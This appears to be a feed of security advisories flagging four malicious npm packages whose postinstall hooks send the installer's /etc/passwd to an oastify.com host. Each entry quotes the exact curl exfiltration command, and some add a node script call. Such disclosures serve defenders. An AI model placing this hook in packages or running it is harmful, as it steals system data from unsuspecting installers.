Malicious code in @easy-entry/routes (npm)

Source: amazon-inspector 29029f04aa1f06f388096de7cfdda12b92ce4c8dc68c2fe3e6091b318a521516 On npm install, the package's postinstall hook in package.json runs curl --data '@/etc/passwd' $hostname.200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, POSTing the contents of /etc/passwd to an...

Malicious code in @shell-cabinet/routes (npm)

Source: amazon-inspector b385f020626d8bad774fe5ebd776683b547bea4edef85944af658fd0155924ad On npm install, the package's postinstall hook runs curl --data '@/etc/passwd' $hostname.200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, posting the installer's /etc/passwd to a hostname-prefixed subdomain of...

Malicious code in @shell-landing/routes (npm)

Source: amazon-inspector 6db5f32788db0c0eefee1ec8520b56ef908f8909cd79d5fdb16c2595c65f1577 On npm install, the package's postinstall hook runs node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $hostname.200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com. The curl invocation POSTs the...

Malicious code in @easy-entry/outside-registration-fop-navigator (npm)

Source: amazon-inspector 04091b4e3c6018586c8ba0c6106ff9177090d0776d1a723d041a76d67b1c8f2b On npm install, package.json's postinstall hook executes node scripts/scream3gg.js && /usr/bin/curl --data '@/etc/passwd' $hostname.200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, sending the installer's...